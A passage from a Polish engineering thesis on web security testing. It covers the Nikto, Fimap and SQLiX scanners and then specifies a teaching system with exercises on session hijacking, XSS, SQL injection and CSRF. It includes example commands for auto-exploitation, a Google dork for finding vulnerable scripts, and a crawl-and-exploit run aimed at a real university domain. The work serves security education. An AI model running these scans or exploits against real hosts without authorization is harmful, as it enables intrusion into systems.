umiejętne korzystanie z aplikacji, które pozwolą oszczędzić testerowi szukania luk, tam gdzie
może ich nie być, a za to naprowadzą go na dobry tor. Automatyzacja testów zabezpieczeń
umożliwia nie tylko przeprowadzenie ogromnej ilości testów w bardzo krótkim czasie, ale
także zbudowanie bazy do testów regresyjnych.
W kolejnych podrozdziałach zostały przedstawione narzędzia, które pozwalają na
automatyzację testów bezpieczeństwa aplikacji internetowych. Wymienione narzędzia są
popularne zarówno wśród osób amatorsko zajmujących się tematyką testowania aplikacji
internetowych jak i profesjonalistów, którzy zarabiają w ten sposób na życie. Aplikacje te są
nadal wspierane przez autorów przez co cały czas pojawiają się ich aktualizacje oraz
ulepszenia.
Tester bezpieczeństwa powinien być świadomy, że używanie wymienionych niżej narzędzi
może prowadzić do uszkodzenia danych, bądź też nawet awarii serwera. Dlatego właśnie, w
warunkach komercyjnych kluczowym dokumentem jest dla testera upoważnienie do
przeprowadzenia testów, tak aby w razie nieszczęśliwego wypadku był on odpowiednio
zabezpieczony prawnie.
3.1 Nikto
Nikto (do pobrania pod adresem http://www.cirt.net/nikto2) jest doskonałym skanerem
aplikacji internetowych, napisany w języku Perl. Skrypt wymaga od użytkownika
zainstalowanego
zewnętrznego
modułu
LibWhisker
(do
pobrania
pod
adresem
http://sourceforge.net/projects/whisker/). Do uruchomienia skryptu pod systemem Windows
35
należy
uprzednio
zainstalować
środowisko
Cygwin
(do
pobrania
pod
adresem
http://www.cygwin.com/).
Program ewoluował przez wiele lat swojego istnienia i posiada bardzo wiele rozbudowanych
funkcji, między innymi możliwość unikania wykrycia przez systemy wykrywania włamań
(ang. Intrusion Detection System).
Najprostsze wywołanie programu to ogranicza się do wpisania w linii poleceń:
nikto.pl –h [adres_hosta]
Po drobnych modyfikacjach opcji polecenia program stworzy przyjazny użytkownikowi
raport w pliku HTML. Zrzut z przykładowego raportu znajduje się poniżej:
Rysunek 4. Przykładowy wynik działania programu Nikto
Program w przyjaznej formie prezentuje wyniki przeprowadzonego skanowania, w raporcie
można znaleźć takie informacje jak:

Wersja używanej aplikacji, oraz często informacja, czy istnieje jej nowsza wersja.

Znalezione błędy w aplikacji wraz z dowodem istnienia

Wersja używanego systemu operacyjnego, usługi www i dodatków, wraz z
informacjami, czy istnieją nowsze wersje.

Ukryte katalogi, których istnienia nie można wydedukować przeglądając stronę (mogą
być to zarówno zakomentowane w kodzie HTML adresy URL, bądź też adresy
zdobyte metodą brute-force)
36
Do wykorzystania programu w pełni, tester powinien zaznajomić się z podstawowymi
opcjami programu:
Tabela 3. Najważniejsze parametry programu Nikto.
Opcje
Opis
-H
Informacje dotyczące sposobu użycia programu.
-D V
Wyświetlanie większej ilości informacji.
-id [login:hasło]
Używa HTTP Basic Authentication.
-h
Nazwa hosta - celu.
[nazwa_hosta]
-o
Używa zadanego pliku jako wejścia i zwraca dane dla wszystkich
[nazwa_pliku]
domen wymienionych w pliku.
-p [port]
Pomija wstępne skanowanie portów hosta i korzysta z podanego.
-update
Aktualizuje bazę danych Nikto.
Użycie opcji ogranicza się do wpisania w linii komend:
nikto.pl [opcje]
Przykładowe użycie programu:
nikto.pl -h localhost -D V -o raport.html
3.2 Fimap
Fimap (do pobrania pod adresem https://code.google.com/p/fimap/) to mała aplikacja,
napisana w języku Python, służąca do skanowania aplikacji internetowych pod kątem
występowania błędów związanych z lokalnym, bądź też zdalnym włączeniu pliku (ang.
Remote/Local File Inclusion). Umożliwia użytkownikowi skanowanie konkretnego adresu
URL, grupy adresów, a nawet użycia wyszukiwarki Google do wyszukiwania podatnych
adresów.
Program zawiera wiele opcji oraz dodatków, jedną z ciekawszych opcji jest automatyczne
wykorzystanie znalezionej podatności.
Użycie programu polega na wpisaniu w linii komend:
fimap.py [opcje]
37
Możliwe opcje wywołania są przedstawione w poniższej tabelce:
Tabela 4. Najważniejsze parametry programu Fimap.
Opcje
Opis
-h
Informacje dotyczące sposobu użycia programu.
-u [URL]
Adres URL do skanowania.
-b
Testowanie „na oślep”, w przypadku, gdy aplikacja nie zgłasza
błędów.
-g
Wykorzystuje Google do znajdowania hostów.
-q [zapytanie]
Zapytanie Google.
-x
Wykorzystuje automatycznie znalezione podatności.
--update-def
Aktualizuje bazę definicji.
Przykładowe użycie programu:
fimap.py -u 'http://localhost/test.php?file=happy&id=22'
fimap.py -g -q 'inurl:include.php'
W pierwszym przypadku podano aplikacji adres URL, w którym zaistniało podejrzenie, że
parametry mogą decydować o załączonym pliku – program sam wykonuje resztę pracy,
odnajduje parametr, który jest odpowiedzialny za nazwę pliku i spróbuje wykorzystać błąd.
W drugim przypadku następuje przeszukanie Google pod kątem zawartości w adresie URL
ciągu znaków include.php, który jednoznacznie wskazuje na przeznaczenie odnalezionego
skryptu.
3.3 SQLiX
SQLiX (do pobrania pod adresem http://cedri.cc/tools/SQLiX_v1.0.tar.gz) jest programem,
napisanym w języku skryptowym Perl, służącym do skanowania aplikacji internetowych pod
względem podatności na ataki typu Wstrzyknięcie SQL. Aplikacja używa dwóch technik,
które mogą pozwolić jej stwierdzić istnienie poszukiwanej podatności, wśród nich są:

Generowanie stron błędów.
Jest to technika polegająca na wstrzykiwaniu wartości takich jak apostrof, czy też
podwójny apostrof w miejsca występowania parametrów. Użytkownik jest
38
informowany o istnieniu podatności jeśli tylko odpowiedź na żądanie zawiera błąd
bazy danych.

„Ślepe” wstrzykiwanie spreparowanych ciągów w miejsca wystąpienia wartości
parametrów.
Spreparowane ciągi mogą zawierać działania logiczne takie jak „OR 1=1” i „OR
1=0”, odpowiedź serwera jest porównywana z oryginalną i na tej podstawie aplikacja
decyduje czy uznaje miejsce wstrzyknięcia parametru za podatne. Metoda może
okazać się nieskuteczna, jeśli zapytanie zawiera znaki apostrofu bądź też odwołuje się
do procedur składowanych. Bardziej zaawansowane skanery próbują odtworzyć
oryginalne zapytanie (ang. reverse engineering) poprzez wstrzykiwanie wielu zbiorów
ciągów zawierających nawiasy, apostrofy oraz przecinki.
Użycie programu polega na wpisaniu w linii komend:
perl SQLiX.pl [parametry]
Najpopularniejsze opcje wywołania są przedstawione w tabeli poniżej:
Tabela 5. Najpopularniejsze opcje wywołania programu SQLiX
Opcje
Opis
-help
Informacje dotyczące sposobu użycia programu oraz możliwych
parametrów.
-url [URL]
Adres URL do skanowania.
--post_content
Dodaje wyspecyfikowaną przez użytkownika zawartość do
[CONTENT]
żądania http i zmienia metodę żądania na POST.
-crawl
Skanuje stronę WWW przeszukując jej podstrony.
-all
Używa wszystkich metod wstrzykiwania.
-exploit
Wykorzystuje znalezione podatności do określenia wersji bazy
danych.
39
Aplikacja jest bardzo rozbudowana i pozwala na wykorzystywanie podatności w wielu
popularnych bazach danych takich jak: MS-Access, MS-SQL, MySQL, Oracle czy też
PostgreSQL. Podczas ataku na bazę danych MS-SQL możliwe jest automatyczne
wykorzystanie podatności w celu zdalnego wykonania polecenia.
Przykładowe użycie programu:
perl SQLiX.pl –crawl elka.pw.edu.pl –all –exploit
Powyższe polecenie spowoduje uruchomienie programu w celu przeszukania całego serwisu
WWW umieszczonego pod domeną elka.pw.edu.pl. Przeszukanie będzie kompleksowe,
zostaną użyte wszystkie środki znane oprogramowaniu (-all), a jeśli zostanie odnaleziona
podatność to aplikacja spróbuje ją wykorzystać w celu poznania wersji bazy danych.
40
4 Omówienie projektu
4.1 Opis projektu
W ramach praktycznej części pracy inżynierskiej został zaprojektowany i wykonany system
operacyjny, który po uruchomieniu dostarcza użytkownikowi środowisko, w którym może on
przeprowadzać testy zabezpieczeń aplikacji, które opierają się na mechanizmie HTTP.
Środowisko jest w rzeczywistości aplikacją WWW, która umożliwia użytkownikowi
przećwiczenie, w realnych warunkach, opisywanych w poprzednich rozdziałach ataków.
Dzięki swojej modularnej budowie, środowisko umożliwia swoją dalszą rozbudowę poprzez
łatwe dodawanie nowych ćwiczeń, co pozwala na jego przyszłe wykorzystanie do zajęć
praktycznych.
Omawiany system ma spełniać funkcję dydaktyczną i powinien być praktycznym
suplementem do wykładów, które omawiają temat bezpieczeństwa aplikacji internetowych.
4.1.1 Ćwiczenia dołączone do SSA
Do Systemu Symulacji Ataków zostało dołączonych dwanaście ćwiczeń, które pozwalają
pozwolą użytkownikowi doświadczyć różnych ataków w praktyce. Ćwiczenia poruszają
najważniejsze tematy z niniejszej pracy, są dobrane tak, aby zachować ich różnorodność.
Kolejność ułożenia ćwiczeń w menu jest zoptymalizowana tak, aby posortować ćwiczenia w
kolejności od najłatwiejszego do najtrudniejszego zachowując tym samym pogrupowanie na
obszary tematyczne.
Badanie i modyfikacja ciasteczek
Ćwiczenie pozwala użytkownikowi na zapoznanie się z mechanizmem ciasteczek oraz
możliwościami nowoczesnych przeglądarek, które nie tylko pozwalają na podejrzenie ich
zawartości, ale także na dowolną modyfikację. Do wykonania ćwiczenia użytkownik stosuje
przeglądarkę Firefox wraz z dołączoną wtyczką FireBug (do pobrania pod adresem
http://getfirebug.com/). Prostota ćwiczenia pozwala na szybkie zapoznanie się ze sposobami
interakcji z oprogramowaniem, ale także daje głębsze spojrzenie na mechanizmy
bezpieczeństwa, które często korzystają (choć nie jest to zalecane) z ciasteczek w celu
przechowania newralgicznych danych.
Analiza JavaScript
Prowizoryczne zabezpieczenia bazujące na samym kodzie JavaScript są niestety nadal często
spotykane w Internecie. Często można spotkać się z ich kompleksowymi rozwinięciami, kod
41
jest zaciemniany, a podczas weryfikacji danych wejściowych wykonywane są skomplikowane
obliczenia, które z założenia mają utrudnić analizę kodu źródłowego. W ćwiczeniu nie
zastosowano tych technik, kod jest widzialny w przystępnej wersji, która nie utrudnia
użytkownikowi odnalezienia hasła. Celem ćwiczenia nie jest zabranie użytkownikowi dużej
ilości czasu, ale pokazanie mu, jak prosto można takie zabezpieczenia przełamać. Dodatkowe
nakłady pracy, zastosowane przez programistę do utrudnienia analizy kodu, skutkują tylko i
wyłącznie wydłużeniem czasu analizy kodu – weryfikację danych przeprowadzoną w ten
sposób można zawsze złamać.
Ograniczenia HTML
Ograniczenie długości pola w zastosowane w języku HTML jest dobrym filtrem danych
wejściowych dla aplikacji, jednak wielu programistów przecenia możliwości takiego
filtrowania danych i nie dostrzega faktu, iż dane można przesłać do aplikacji w inny sposób.
Jeśli dane nie są filtrowane podwójnie to wystąpienie błędu podczas ich przetwarzania jest
niemal pewne. Ćwiczenie nie polega na wykorzystywaniu podatności, jest jednak bardzo
dobrą lekcją dla użytkownika, ponieważ błędy spowodowane nieprawidłową długością
danych wejściowych są bardzo dobrym źródłem wiedzy o badanej aplikacji. Celem ćwiczenia
jest przesłanie do pewnego skryptu danych o długości większej, niż pozwala na to załączony
formularz.
Narzucanie identyfikatora sesji
Mechanizmy kontroli sesji użytkownika to jedne z najbardziej podatnych na atak części
aplikacji internetowych. Jeśli mechanizm sesji jest zaimplementowany bez zachowania
odpowiedniej uwagi, to z całą pewnością jest to pierwsza rzecz, jaką powinien sprawdzić
tester bezpieczeństwa aplikacji internetowych. „Narzucanie identyfikatora sesji” to ćwiczenie,
które umożliwi użytkownikowi zapoznanie się z mechanizmem sesji oraz genezą jego
istnienia, podczas analizy zadania użytkownik dowiaduje się, że mechanizm sesji nie jest
skomplikowany i że wszystko musi działać według bardzo prostego mechanizmu HTTP.
Samo ćwiczenie opiera się na zastosowaniu ataku w praktyce, czyli narzuceniu własnego
identyfikatora sesji innemu użytkownikowi, a następnie jej przejęciu.
Kradzież identyfikatora sesji
Ćwiczenie „Kradzież identyfikatora sesji” jest bardzo podobne do poprzedniego, opierającego
się na narzuceniu identyfikatora. Oprócz podstaw działania mechanizmów sesji, użytkownik
dowiaduje się, jak przejąć sesję użytkownika stosując inne podejście niż w poprzednim
42
zadaniu. Tym razem identyfikator nie jest z góry znany, a celem ćwiczenia jest jego kradzież.
W realnym środowisku, przywłaszczenie identyfikatora może nastąpić jako następstwo ataku
typu „cross-site”, bądź też zwykłej nieznajomości zagadnień komputerowych ofiary.
Ćwiczenie to ma na celu przedstawienie żadnego typu ataku „cross-site”, dlatego kradzież
identyfikatora sesji oparta jest na ukryciu znacznika w adresie URL (metoda GET), a
następnie przesłaniu go do innej sesji przeglądarki.
Przewidywanie identyfikatora sesji
Mechanizm sesji można zrealizować na co najmniej dwa sposoby, to ćwiczenie dotyczy innej
metody, niż poprzednie dwa ćwiczenia. Tym razem użytkownik postawiony jest w sytuacji,
gdzie implementacja mechanizmu sesji wymagała oszczędności w bazie danych, przez co
znacznik sesji nie jest losowany, a następnie zapisywany do bazy. W przypadku tego
ćwiczenia identyfikator jest generowany na podstawie danych, które zostały podane podczas
rejestracji
w
fikcyjnym
serwisie.
Zadaniem
użytkownika
jest
dokładna
analiza
wygenerowanych identyfikatorów, rozpoznanie algorytmu, który generuje znacznik i
zastosowanie tak zdobytej wiedzy w praktyce – czyli przejęcie sesji innego użytkownika.
Odbite XSS
Opisywana podatność jest bardzo często spotykana w różnych serwisach internetowych.
Programiści, zajmujący się tworzeniem stron internetowych, często nie doceniają możliwości,
jakie dla atakującego otwierają podatności typu „cross-site”. Celem zadania jest zapoznanie
użytkownika z podatnościami tego typu oraz wykorzystanie ich w praktyce. Użytkownik
zauważy, że sama podatność nie jest bardzo szkodliwa, ale jeśli w serwisie występują inne
niedopatrzenia, to atak „cross-site” będzie idealnym punktem zapalnym do wywołania wielu
groźnych sytuacji.
Składowane XSS
„Składowane XSS” to ćwiczenie prezentujące, w zupełnie innym świetle, atak podobny do
„Odbite XSS”. Tym razem wektor ataku ma o wiele większe pole rażenia, ofiara nie musi
otwierać szkodliwego adresu URL – wystarczy, że odwiedzi stronę, a szkodliwy kod będzie
tam na nią czekał. Celem ćwiczenia jest pozostawienie szkodliwego komentarza w fikcyjnym
systemie komentarzy. Celem tak zostawionej wiadomości jest automatyzacja dodawania
kolejnych komentarzy, w taki sposób, aby każdy kolejny użytkownik, który odwiedza stronę,
pozostawiał po sobie ślad w systemie w postaci kolejnego komentarza. Jest to jedyne
ćwiczenie, które nie ma zdefiniowanych warunków końcowych – system nie ma możliwości
43
rozróżnienia czy dane żądanie pochodzi od użytkownika, który chciał je wysłać, czy też zrobił
to bezwiednie.
Wstrzyknięcie SQL – omijanie logowania
Ćwiczenie pozwalające na wypróbowanie bardzo popularnej podatności, wynikającej z braku
filtrowania danych wejściowych, które mają zostać umieszczone w zapytaniu kierowanym do
bazy danych. Podatność pozwala na zmianę formy zapytania SQL, co w przypadku
mechanizmu logowania może skutkować brakiem weryfikacji poprawności hasła.
Pomocniczo, użytkownik ma wyświetlone zapytanie, które za każdym razem kieruje się do
bazy danych - pozwala to na lepsze zrozumienie idei ataku oraz łatwiejsze dojście do
rozwiązania.
Wstrzyknięcie SQL – SELECT
Wstrzyknięcie polecenia SELECT do istniejącego zapytania niesie ze sobą niemal
nieograniczone możliwości oraz jest powodem wielu głośnych wycieków danych. Podczas
ćwiczenia użytkownik ma okazję wysłać spreparowane zapytanie SELECT do dowolnej
tabeli w bazie danych i zobaczyć jaką niesie ze sobą odpowiedź. Wnikliwi użytkownicy z
pewnością zastosują opisywaną w ćwiczeniu metodę na poznanie całej struktury bazy danych.
Celem ćwiczenia jest, wysłanie zapytania do tabeli, która przechowuje dane użytkowników,
takie jak nazwa logowania oraz hasło, stosując do tego formularz, który oryginalnie służy
jako wyszukiwarka książek w bazie danych. W ramach ułatwienia zadania, na stronie
wyświetla się tekst informujący użytkownika, jak wygląda zapytanie, które zostało wysłane
do bazy danych.
Wstrzyknięcie SQL – INSERT
Ćwiczenie polega na wstrzyknięciu frazy modyfikującej polecenie INSERT w zapytania SQL,
które oryginalnie służy do dodawania nowego konta użytkownika w pewnej tabeli. W
pierwotnym zapytaniu istnieje zapisany na stałe parametr decydujący o tym, czy użytkownik
ma uprawnienia administratora, czy też nie. Celem użytkownika jest taka modyfikacja
zapytania, aby zmienić ten parametr na taki, który da mu większe uprawnienia, jednocześnie
użytkownik musi zachować taką formę zapytania, która pozwoli mu później zalogować się na
nowoutworzone konto. Zadanie pokazuje użytkownikowi, że niemal w każdym miejscu może
natknąć się na podatność typu „Wstrzyknięcie SQL” i nie dotyczy ona tylko formularzy z
zapytaniami SELECT. Ćwiczenie jest najtrudniejsze z grupy „Wstrzyknięcie SQL”, ponieważ
44
nie ma w nim komentarza, który pokazuje jak wygląda wysłane do bazy danych zapytanie, a
także wymaga od niego zastosowania skrótu MD5.
Cross-Site Request Forgery
W ćwiczeniu przedstawiono użytkownikowi fikcyjny system aukcyjny, gdzie może on
licytować cenę pewnego przedmiotu. Stosując omawiany atak CSRF atakujący może zmusić
przeglądarkę użytkownika do wysłania zapytania, które spowoduje zalicytowanie w aukcji,
bez wiedzy użytkownika. Przykład jest specjalnie dobrany tak, aby pokazać użytkownikowi
jakie niebezpieczeństwo niesie ze sobą atak CSRF. Użytkownik ma za zadanie utworzyć
specjalnie spreparowaną stronę w pliku HTML (na podstawie formularza licytacji), a
następnie będąc zalogowanym do serwisu aukcyjnego – potwierdzić wysłanie formularza.
Wnikliwi użytkownicy zauważą, że ofiary nie trzeba nawet zmuszać do potwierdzenia
formularza – wystarczy tylko dołączyć skrypt JavaScript, który zrobi to za nie.
4.2 Wymagania
Projektując środowisko testowe, w którym użytkownik będzie mógł przeprowadzić
podstawowe ataki na strony internetowe, należy przyjąć odpowiedni poziom odwzorowania
świata rzeczywistego. Należy zauważyć, iż wprowadzenie dużej liczby szczegółów, które
wzmagają odczucie pracy na rzeczywistym środowisku, utrudni analizę kodu strony i
zwiększy nakład czasowy na implementację. W przypadku zbytniego uproszczenia systemu,
przeprowadzane ćwiczenia nie będą interesujące dla użytkownika.
Odmienną kwestią jest budowane scenariuszy ataku, powinny być one zaprojektowane, tak,
aby użytkownik mógł w każdym momencie podejść do dowolnego z ataków, bez uprzedniego
zaliczenia poprzednich. Scenariusz powinien składać się z maksymalnie kliku kroków, tak
aby nie uczynić go zbyt skomplikowanym i umożliwić jego przejście w nie więcej niż 30
minut.
45
Ustalony został pewien kompromis i przyjęte zostały pewne założenia, a w celu ich
objaśnienia przygotowany został słownik pojęć:
Tabela 6. Słownik pojęć dla opisu wymagań projektu.
Pojęcie
System
System Symulacji Ataków
SSA
Aplikacja
Live-CD
Opis
Całość dostarczonego rozwiązania, na System
składa się:
1. System operacyjny.
2. System Symulacji Ataków.
3. Narzędzia wykorzystywane do Systemu
Symulacji Ataków.
Aplikacja będąca symulatorem ataków na strony
internetowe.
Patrz: System Symulacji Ataków.
Patrz: System Symulacji Ataków.
System operacyjny zainstalowany na nośniku z
własnym programem rozruchowym,
umożliwiającym uruchomienie go w pamięci
RAM, bez potrzeby instalowania na dysku
twardym komputera.
4.2.1 Wymagania niefunkcjonalne
Poniżej znajdują się wymagania niefunkcjonalne ustalone dla opracowywanego systemu:
Średni
Identyfikator WN-0
Priorytet
Bezinwazyjność systemu dla komputera użytkownika
Nazwa
Opis
Projektowany system powinien uruchamiać się bez konieczności instalowania go na
komputerze użytkownika, ani modyfikacji danych na dysku twardym. W tym celu powinien
zostać dostarczony w formie „Live-CD”.
Średni
Identyfikator WN-1
Priorytet
Prostota obsługi
Nazwa
Opis
Po uruchomieniu Systemu przez użytkownika, SSA powinien uruchomić się automatycznie
dostarczając tym samym informacji startowych użytkownikowi. Informacje startowe to:
1. Do czego służy system?
2. Jak go obsługiwać?
46
Wysoki
Identyfikator WN-2
Priorytet
Rozbudowywalność
Nazwa
Opis
SSA powinien posiadać opcję rozbudowy o kolejne ćwiczenia. Rozbudowa powinna być
bardzo prosta, przy jej wykonywaniu użytkownik powinien mieć możliwość definiowania:
1. Nazwy ćwiczenia.
2. Opisu ćwiczenia.
3. Rozwiązania wzorcowego.
4. Celu, którego osiągnięcie wyznacza koniec ćwiczenia.
5. Sposobu obsługi pierwszego żądania strony.
6. Sposobu obsługi kolejnych żądań do strony.
7. Akcji podejmowanych po wciśnięciu przycisku do ponownego uruchomienia
ćwiczenia.
Wysoki
Identyfikator WN-3
Priorytet
Czytelna dokumentacja
Nazwa
Opis
System powinien posiadać czytelną dokumentację. Przeznaczenie Systemu powoduje, iż
możliwe będzie zaistnienie potrzeby jego rozbudowy.
Średni
Identyfikator WN-4
Priorytet
Wiarygodność przedstawionych przypadków
Nazwa
Opis
SSA powinien przedstawiać użytkownikowi realne sytuacje, w związku z tym wskazane jest
stosowanie prawdziwych baz danych (nie zaślepek) i innych elementów.
Średni
Identyfikator WN-5
Priorytet
Łatwość analizy
Nazwa
Opis
Ćwiczenia wykonywane przez użytkownika powinny skupiać się na istocie problemu i nie
utrudniać jego analizy zbędnymi szczegółami. Przykładem niepoprawnej implementacji
może być strona WWW, której wygenerowany kod HTML zajmuje tysiąc linii, zaś istotnych
jest tylko kilka z nich.
47
Na podstawie wymagań nieformalnych powstał diagram sekwencji obrazujący pracę
użytkownika końcowego z projektowanym systemem.
Rysunek 5. Diagram sekwencji projektowanego systemu
48
4.2.2 Wymagania funkcjonalne
Poniżej znajdują się wymagania funkcjonalne ustalone dla opracowywanego systemu:
Wysoki
Identyfikator WF-0
Priorytet
Wybór ćwiczenia
Nazwa
Opis
Po uruchomieniu się SSA użytkownik ma możliwość wyboru ćwiczenia, które chce
wykonać. Wraz z SSA powinny zostać dostarczone następujące ćwiczenia:
1. Badanie i modyfikacja ciasteczek.
2. Omijanie fikcyjnych zabezpieczeń JavaScript – konieczność podania hasła.
3. Omijanie fikcyjnych zabezpieczeń HTML – ograniczenie liczby znaków w polu.
4. Badanie sposobu generacji identyfikatora sesji – ustalanie własnego identyfikatora
sesji.
5. Badanie sposobu generacji identyfikatora sesji – przewidywanie identyfikatorów
sesji.
6. Badanie sposobu generacji identyfikatora sesji – kradzież identyfikatora sesji.
7. Wykonanie ataku typu Wstrzyknięcie SQL – omijanie logowania.
8. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy SELECT.
9. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy INSERT.
10. Wykonanie ataku typu Odbite XSS.
11. Wykonanie ataku typu Składowane XSS.
12. Wykonanie ataku typu CSRF.
Wysoki
Identyfikator WF-0.1
Priorytet
Wybór ćwiczenia – Badanie i modyfikacja ciasteczek
Nazwa
Opis
Użytkownik zostanie postawiony przed bardzo prostym zadaniem, polegającym na zbadaniu
ciasteczek i ich modyfikacji. Ćwiczenie będzie polegało na:
1. Badaniu ciasteczka zaraz po pierwszym załadowaniu strony.
2. Badaniu ciasteczka po zalogowaniu.
3. Modyfikacji zawartości ciasteczka i zaobserwowaniu wpływu tej zmiany na
zachowanie systemu.
Identyfikator
Nazwa
WF-0.2
Wysoki
Priorytet
Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń JavaScript –
konieczność podania hasła
Opis
Ćwiczenie stawia użytkownika przed zadaniem polegającym na przełamaniu pozornych
zabezpieczeń weryfikacji hasła po stronie klienta przez JavaScript. Ćwiczenie będzie
polegało na:
1. Przejrzeniu źródła strony.
2. Analizie kodu JavaScript weryfikującego hasło.
3. Ominięciu zabezpieczeń podając hasło uzyskane w wyniku analizy kodu.
49
Identyfikator
Nazwa
WF-0.3
Wysoki
Priorytet
Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń HTML –
ograniczenie liczby znaków w polu
Opis
Zadanie polega na modyfikacji kodu HTML związanego z formularzem na stronie WWW.
Użytkownik pozna możliwości nowoczesnych przeglądarek internetowych, dzięki którym
będzie mógł modyfikować atrybuty pola zachowując resztę właściwości formularza.
Ćwiczenie będzie polegało na:
1. Przejrzeniu źródła strony.
2. Użyciu narzędzi programistycznych dołączonych do przeglądarki WWW w celu
lokalnej modyfikacji źródła strony.
3. Zatwierdzeniu formularza znajdującego się na danej stronie WWW przesyłając mu
dane, na które nie zezwalał kod HTML (ograniczenie ilości znaków).
Identyfikator
Nazwa
WF-0.4
Wysoki
Priorytet
Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji –
ustalanie własnego identyfikatora sesji
Opis
Tematem ćwiczenia jest wykorzystanie podatności w mechanizmie generowania
identyfikatorów sesji, który pozwala na ustalenie własnego identyfikatora, a następnie jego
użycie w innej przeglądarce. Ćwiczenie będzie polegało na:
1. Zbadaniu miejsca przechowywania identyfikatora sesji.
2. Próbie zastąpienia identyfikatora swoim (pomyślnej).
3. Zalogowaniu się przy użyciu znanych danych.
4. Użyciu identyfikatora sesji po zamknięciu przeglądarki, bądź w innej przeglądarce.
5. Obserwacji efektów.
Identyfikator
Nazwa
WF-0.5
Wysoki
Priorytet
Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji –
przewidywanie identyfikatorów sesji
Opis
Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności
w mechanizmie generowania identyfikatorów sesji, który pozwala na ustalenie sposobu
generowania identyfikatora. Ćwiczenie będzie polegało na:
1. Zbadaniu miejsca przechowywania identyfikatora sesji.
2. Zbadaniu sposobu zmiany identyfikatora w zależności od podawanych danych (także
wyznaczenie danych, które mają wpływ na identyfikator sesji).
3. Próbie wyznaczenia sposobu generacji identyfikatora.
4. Sztucznej generacji identyfikatora dla danego użytkownika.
5. Podmianie własnego identyfikatora sesji.
6. Obserwacji efektów.
50
Identyfikator
Nazwa
WF-0.6
Wysoki
Priorytet
Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji –
kradzież identyfikatora sesji
Opis
Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w
mechanizmie sprawdzania poprawności identyfikatorów sesji, który pozwala wykorzystanie
identyfikatora na w kontekście, który nie spełnia warunków polityki tożsamego pochodzenia.
Ćwiczenie będzie polegało na:
1. Zbadaniu miejsca przechowywania identyfikatora sesji.
2. Zalogowaniu się używając znanych danych i skopiowaniu identyfikatora.
3. Użycie tego identyfikatora w kontekście, który nie spełnia warunków polityki
tożsamego pochodzenia.
4. Obserwacji efektów.
Ćwiczenie to jest bardzo podobne do opisanego w WF-4.4, pozwala to na ponowne użycie
gotowego już kodu.
Identyfikator
Nazwa
WF-0.7
Wysoki
Priorytet
Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL - omijanie
logowania
Opis
Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które są
używane do zapytań w bazach danych. Ćwiczenie będzie polegało na ominięciu
konieczności wpisania poprawnego hasła w formularzu służącym do zalogowania
użytkownika. Scenariusz ataku przedstawia się następująco:
1. Analiza kodu strony internetowej z formularzem.
2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL.
3. Wykorzystanie dołączenia prostych warunków logicznych do zapytania, tak, aby
zapytanie zawsze zwracało pozytywny wynik.
4. Zalogowanie się na konto dowolnego użytkownika.
Identyfikator
Nazwa
WF-0.8
Wysoki
Priorytet
Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL wstrzykiwanie komendy SELECT
Opis
Tematem ćwiczenia jest wykorzystanie podatności w weryfikacji danych wejściowych, które
są używane do zapytań w bazach danych. Ćwiczenie będzie polegało na modyfikacji
zapytania służącego do utworzenia strony z pewną listą. Scenariusz ataku przedstawia się
następująco:
1. Analiza kodu strony internetowej z formularzem.
2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL.
3. Analiza wyniku oryginalnego zapytania (ilość kolumn, typ kolumn).
4. Wykorzystanie dołączenia kolejnych zapytań do aktualnego.
51
Identyfikator
Nazwa
WF-0.9
Wysoki
Priorytet
Wybór ćwiczenia - Wykonanie ataku typu Wstrzyknięcie SQL –
wstrzykiwanie komendy INSERT
Opis
Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności
w weryfikacji danych wejściowych, które są używane do zapytań w bazach danych.
Ćwiczenie będzie polegało na modyfikacji zapytania służącego do utworzenia strony z
pewną listą. Scenariusz ataku przedstawia się następująco:
1. Analiza kodu strony internetowej z formularzem.
2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL.
3. Dołączenie kolejnego zapytania, tym razem modyfikującego dane w bazie.
Wysoki
Identyfikator WF-0.10
Priorytet
Wybór ćwiczenia – Wykonanie ataku typu Odbite XSS
Nazwa
Opis
Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w
weryfikacji danych wejściowych, które zostają dynamicznie umieszczane na stronie
internetowej. Ćwiczenie będzie polegało na odpowiedniej modyfikacji parametrów
przekazywanych do strony internetowej w taki sposób, aby w odpowiedzi (wygenerowanej
stronie) umieścić złośliwy kod JavaScript. Scenariusz ataku przedstawia się następująco:
1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego
użytkownika, polegającej na fikcyjnym usunięciu konta użytkownika).
2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET),
które mogą być na niej wyświetlane.
3. Analiza poprawności filtrowania parametrów.
4. Po odkryciu niepoprawnej filtracji, użytkownik będzie musiał wykorzystać błąd
konstruując odpowiedni kod wywołujący akcję. W wyniku tego kroku, użytkownik
będzie posiadał spreparowany adres URL.
5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik wywoła
zapisany wcześniej adres URL.
6. Obserwacja wyników (usunięte konto).
52
Wysoki
Identyfikator WF-0.11
Priorytet
Wybór ćwiczenia – Wykonanie ataku typu Składowane XSS
Nazwa
Opis
Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które
zostają statycznie umieszczane na stronie internetowej. Ćwiczenie będzie polegało na
odpowiedniej modyfikacji parametrów przekazywanych do strony internetowej w taki
sposób, aby złośliwa treść (kod JavaScript) została osadzona na danej stronie (wpisana do
bazy danych). Scenariusz ataku przedstawia się następująco:
1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego
użytkownika, polegającej na dodaniu komentarza pod wpisem na blogu).
